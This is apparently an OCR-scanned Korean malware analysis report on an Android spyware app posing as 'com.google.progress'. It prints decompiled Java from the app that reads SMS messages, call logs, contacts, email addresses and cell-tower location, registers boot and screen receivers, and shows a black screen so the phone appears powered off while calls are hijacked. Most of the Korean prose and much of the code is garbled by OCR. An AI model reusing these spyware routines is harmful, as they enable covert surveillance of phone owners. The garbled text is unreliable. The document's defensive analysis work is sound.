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Spyware.Android.PowerOffHijack

1.7
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APK 24
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A. I 0|= : 14D9F1A92DD984D6040CCA1EDOGE273E.apk
B. MD5 : 14D9F1A92DD984D6040CC41EDO6E27 3E
C. THZ|X| H : com.google.progress
D. =R A2 IOl
Permission L
RECEIVE SMS HO| SMS HAXIE s=4I5110 ®2|8 4= U=S FIESICY, 0= O] AFEX[AH| BEAISHX] 411 7172 ME&E HAXIE
— DU Ei= AE A& QUCH= % ojnj3ict
SEND SMS HO| SMS HAXIE B == U=F 5{EHY, 0] 42, Y Aol AFEXe] &2l glo| HIAIXIE H&sl 230 FotE +
B Qeo= x| £et 55t 230| FotE 4= UCt
WRITE_SMS HO| EfE3 = SIM FHE0] MEE SMS HIAX|0| & 5= A== S{ESH 0| AP 2 Wo| 0] 7|52 0|25
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CALL_PHONE
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WRITE_CALL_LOG
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JESEX
Lt [0 2l= 0| AX|=[0] Zx2 AlE o] ZE S30|C, 2} SHAHZ FHO| LIFI0N A0, tHEE2| Z== AFEAL 71719
JHIE HHot = +H A 23S it 23S 2.

BootReceiver()

AndroidClientService
onCreate()

M H| A7}
SRIZ0IIp

1E0HCH 20| 53t 4E

[O8 2] = 4 =SB

27| A% FCOIME TS} 22 228 M5 Ut
- 202 % 0joj3 e
— GPS &EH
— Wifi &JEl
- B} 15 S5 (T2 2014 UA| #15)

(724 201N ZA| 15 S22 BHKIO| MERISE oJ0[3iTt Ol BZKIQ| ATIER0|A TisXIoH| 27 22 HHS U2 4 Tt
=0|Ck BHS THO| 315101 $AEl= HOR 7|Z0| OHUSTLE SHots| (12 B WS AHgSHD Tt

rir

(13 2]2] = S A0 thh AT =X},

- BootReceiver
0] EejA=AERZ] ZOIEZ BOOT _COMPLETED, SMS_RECEIVED, NEW_OUTGOING_CALL, SCREEN_OFF, PACKAGE_INSTALLS]

2|A|H T ET} QL | E Ad FE= XHAe| AX| R E =20I5H= "PACKAGE_INSTALL HA|XIE 2JA|E 51 AndroidcliendService
£ AAAZICE
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- AndroidClientService
MHJAZ SESHH U122 E0f| A AFEXL 717]2] HEHE ZAIBIC] ZA| 2ith= TSt 2L
— T3} Al BEAL ZEA|
- Gps #X| =EH A HS
— SX AL HE |X
- SN EE =Y
- HIEST el =

[13 312 T2t oE HE Al SE5h= 2= S50|C HEi= 37HK2 L, HEj0tC £a8ch= S22 [OF 3]0 2T,

T=t el

— CALL_STATE_RINGING

T2td0| Scl= JEIZ 271K B3R HEIE 27 =+ UL

1. S SAX0]| 2ol =80 O|R20{X| 1 Y= JEH0A 20| Sct= 32, YHS 7 SAKS] #S7} OfLE Hets i3=L.
2, =3 SE7t 0K HEHOM O] S2= B2, Bl STt SAX|L| HaetH Bac|et Tis SS flol L Tl B=n.

— CALL_STATE_OFFHOOK

S35} 01 AEH0ICE 0] ZBR0x 27K| HEHE B2 FECE A Hlll= Mt 2 44 M2, Ui HS T SHRL| HES2tH EHE
281517 | 25l BackGroundActivity= A|RIAIZIC} O 2ZAXT OIL|2IH S5t =E|2 48451 & BTy A

Sal =FE AEfSIL

I'Ir
ol
i

111

- CALL_STATE_IDLE
&=V SRE= JHZE £ S0EHE ™S S St 32 BR0= St =71E SXIE.

onCallStateChanged()

CALL_STATE_RINGING CALL_STATE_OFFHOOK

(H=h7h 22 2 JE)

CALL_STATE_IDLE

(SEEE oE)

= Z_infwavor.amnzs 55
SHE A

®E= A

— :1‘?‘
= Al A HE outiwavor amnNzE s&

(33 3] Hat MEj HA A ZEEEBT
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23 4= =8 34 A SESk= 25 5500t 0| == SAXIALSAIR| ADEEC 2 HEIE H= 218 LS = SETICL

HS 2 et QM == SIHE HA2MO = HRELL 01 238 On/Off 2JAIHE S50 =HE +al5t, 30| 2UH
a1l 2 o= 0|53l

BackGroundActivity
onCreate()

onResume() ScreenBroadcastReceiver()

SCREEN_OFF, SCREEM_OM S ZEA
ElAH S5 countBH==7} 4¢
EFO|H ..-l..|I_-'|:j1:T: OFC} count®H== FEE E) AL endCalls) €

TS

e

endCallsi) ==

mo

J2.0 Dl

onDestroy()

ST 2l A H S

[

(22 4] 2AKTE AFRAHZ T8 Al 28 5= 3

[ 5}= BakeGroundActivity?  AIBHEH Z[X 2 $8E)= T C0|C} THX| 31HS 2| DiEs FEQEEXYSHT,

|-

protected void onCreate (Bundle paramBundle)

{
super.onCreate (paramBundle) ;
LinearLayout lecallinearLayout = new LinearLayout(this):;
locallinearLayout.setBackgroundColor(-16777216):
getWindow () .setFlags (128, 128):;
setContentView (locallinearlLayout);

[28 5] BackGroundActivity?] gl 3
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- FC A

7t SEfA HE T ALK EAS U5

Al Z[x Aldl FE0|H, £ SE2 AndroidClientService2] 71 S0|LCt

public wvoid onBeceive (Context paramContext, Intent paramIntent)
{

this.context = paramContext;

String str = paramintent.getlAction():

System.out.println("SI2|ZFE---->" + 3tr):
if ((str.equals("andreid.intent.action.BOOT_COMPLETED")) || (str.equals("android.provider.Telephony.SMS_RECEIVED"))
{

if ('isServiceRunning())

{

Log.e("service", "ERO=ZE000, BNODOERO") :
Intent locallntent = new Intent(paramContext, AndroidClientService.class):
locallntent.setAction("com.google ACTION START CALL RECORD™):
paramContext.startService (locallntent) ;
}
}
else |
return;

}
Log.e("service", "EEOEZ=DIT"):

[22! 8] BootReceiver Z=
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ASE On/Off 2AIH

2} on/off SEHE ZABE | FIoH TS| 2|AHE SSSICH 2AHYE] HE ZX| A, =F& SXIAZIC

public wvoid registerScreenOffBroadcastReceiver()

{
this.receiver = new ScreenBroadcastReceiver():
IntentFilter locallntentFilter = new IntentFilter():;
locallntentFilter.addAction("andreoid.intent.action.SCREEN OFF"):
localIntentFilter.addAction("andreid.intent.action.SCREEN_ON"):
registerReceiver(this.receiver, locallntentFilter):;

public void startIimer()

{

this.timer = new Timer():
this.task = new TimerTask()
{
public void run()
{
BackGroundActivity localBackGroundActivity = BackGroundActivity.this;
localBackGroundActivity.count = (1 + localBackGroundhActivity.count);
}
}:
this.timer.schedule (this.task, 0L, 1000L):

public class ScreenBroadcastBeceiver
extends BroadcasatReceiver

public ScreenBroadcastReceiver() {}

public void onBeceive (Context paramContext, Intent paramIntent)
{
if (BackGroundhActivity.this.count > 3)

{
System.out.println("count----- >" + BackGroundActivity.this.count);

BackGroundActivity.this.endCalls():
Log.e("call™, ":#=000----- >Screen0ffBroadcastReceiver™);

[13 7] ScreenBroadcastReceiver
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2o|mto] e H GPRS HEH !
ChS T EE= 240[mH0] el 3 GPRSS| SEHE &lsh= T =0|CH,

public wvoid run()
{
this.hasGprs = false:;
try
{
begin():
if (!checkWifiNetworkState())
{
if (checkGPESMNetworkState()) |
break labellgg;
}
Log.e("wifi", "=4#1 5370500, FJO00GERSOO") ;
if ('this.hasGprs) {}
}
else
{

return;

[13 8] HEHS & M=

=X 7L

ALEXIS| 2XIE 4EsHs FE0|C

public String FESUSHSTINE()
{
ContentBesplver localContentResolyver = this.coatext.getContentResolyver():
Cursor localCurscrl = lecalCententResolver,query(this . URI SMS INBOX, this,.PROJECTION, null, null, “chread id asc®);

IOF.i (", “femnee- IMF=——- - I
if ((localCursorl '= mull) cé (lecalCursorl.getCount() > 0))
{

Log.i(""**", "sns CUrscr=--->" + localCursorl.getCoanmt()):
StringBuilder localStringBuilder = pnew StringBuilder():
String atr;
if (localCursorl.moveTloFirat())
{
localScringBuilder.append (localCursorl.getSering(0) + = *);
atr = localCursorl.get3cring(l):
if {(atr == pull) {
break labellsd:
}
il (str.scercaWith("+86")) {
atr = atr.subacring(d):
}
lecalScringBuilder.append(actes &« = %)

if ((localCursor? == pull) Il {!localCursor2.moveToFirst())) {
break label323:

localferingBuilder.append{localCursor2.getSctring (localCursor2.getColuznindex (“display nazme®)) + = “}:

Cursor locaiCursori = localContentResolver.query(Uri.withAppendedPati{Contacts.People.CONTENT FILTER URI, atr), mew String()

[33 9] AL2XA1S] SMS B4 =8 FE
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9I%] ol
GPS Z1E LIO|EHE #5101 ALBXI| 3 XIS Totsh= FE0]ct

#

public String getlocation()
{
localStringBufferl = new StringBuffer():
try
{
this.gsm = ({GsmCelllocation)this.telManager.getCelllocation()):
int i = this.gsm.getCid();
int j this.gsm.getlac();
String strl = this.telManager.getNetworkOperator();
int k = Integer.valpedOf(ztrl.substring(0, 3)).intValue():
int m = Integer.valuedf(strl.subkstring(3, 5)).intValue();
JIONObject localdS0NObjectl = new JSONObject();
local JSONOhjectl.put ("version™, "1.1.07):
local J50NObjectl.put ("host™, "maps.gocgle.com”);
local J50N0bjectl.put ("request address”, true):
J3ONArray localdSONArray = new J30NArrav():
JE0HCObject localJSONObject2 = new JS0NOhject():
localJSONObject2.put("cell id™, i):
localJSONObject2.put ("location_area_ code”™, j):;
localJSONCbject2.put("mobile country code”, k);
localJSONObject2. put ("mobile_network_code”™, m);
localJd30NArray.put (localJ30N0Lject2) ;
localdSONChjectl.put("cell towers", localldSONArray):;
DefaultHttpClient localDefaultHttpClient = new DefaultHetpClient ()
HttpPost locallttpPost = new HttpPost("http://www.google.com/floc/json™);
StringEntity localStringEntity = new StringEntity({localldS0NOkjectl.toString()):
localHttpPost. setEntity(localStringEntity);
HttpResponse localHttpResponse = localDefaultHoopClient.execute (localHotpPost)
System.out.println("GPSOEROOE 42100 ;
HttpEntity localHttpEntity = localHttpBesponse.getEnticy () ;
BufferedReader localBufferedBeader = new BufferedBeader(new Input3treamBeader (localHttpEnticy.getContent())):
StringBuffer loczlStringBuffer? = new StringBuffer():;
String stré;
for (Object localObject = localBufferedBeader.readline();; localObject = strd)
{
if (locallbject == null)
f
Jd30N0bject localdS0NObject3 new J30NObject(local3tringBufferi.toString()):
JS30HOLject locallSONObjectd = new J50NObject (localdSONObjectl.getString("location™));
String str? = localdSONObjectd.gecString("laticude”™);
String =2tr3 = localdSONObjectd.getString("longitude™);
localStringBufferl.append("0FE:" + 3tr2):
localStringBufferl.append(™ OE:" + 3tr3);
localStringBufferl.append(”™ r&E:" + "(EIZ5)FIOHEOOE")
return localStringBufferl.toSteing():
}
localStringBuffer?.append((String)locallbject);
strd4 = loczlBufferedReader.readline():
}

return localStringBufferl.todtring();
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public String getCalllog()

{
StringBuffer localStringBuffer = new StringBuffer():

Cursor localCurscr = this.context.getContentResclver().guery({Calllog.Calls.CONTENT URI, new String[] { “"date", "name"”, "numbker”,
if {localCursor !'= mnull)
{

int i = 0;
if {i »>= localCursor.getCount(}) |
return localStringBuffer.toString();
1
localCursor.moveToPosition{i) ;
localStringBuffer.append (new SimplelateFormat {("yyyy-MM-dd HH:mm:s33") .format {Long.valuedf {localCursor.getLong (0} )));
logcalStringBuffer.append{(™ "):
lakell35:
lakel200:
int j;
String atr;
if {localCurscr.get3tring{l) == null)
{
localStringBuffer.append ("FdrE ") ;
locelStringBuffer.append (localCursor.getString{2) + ™ ") :
switch (localCursor.getInt(3})
{
default:
j = localCursor.getInt(4);
if {J < &0y |
atr = j + "E":
}
break;

23 1] S8t U 8 3=

=
Taok= ZL0|C = 2 24 A=A 0IF, O|HIY, T2 =0|Ct,

private S5tring getEmail (String paramString)
{
StringBuffer localStringBuffer = new StringBuffer():
Curaor localCurscr = this.cr.query({Contacts.ContactMethods.CONTENT EMATT URT, null, "perscn=?", new 3Jtring[] { paramString }, nullj;
if {localCurscr.moveTloFirat()) {
do
{
localStringBuffer.append (localCursor.getString {localCursor.getColumnIndex ("data™)) + " F ")r
} while (localCursor.moveToNext()):

}

return localStringBuffer.toString()

(22 12] eRol oY +1 A=
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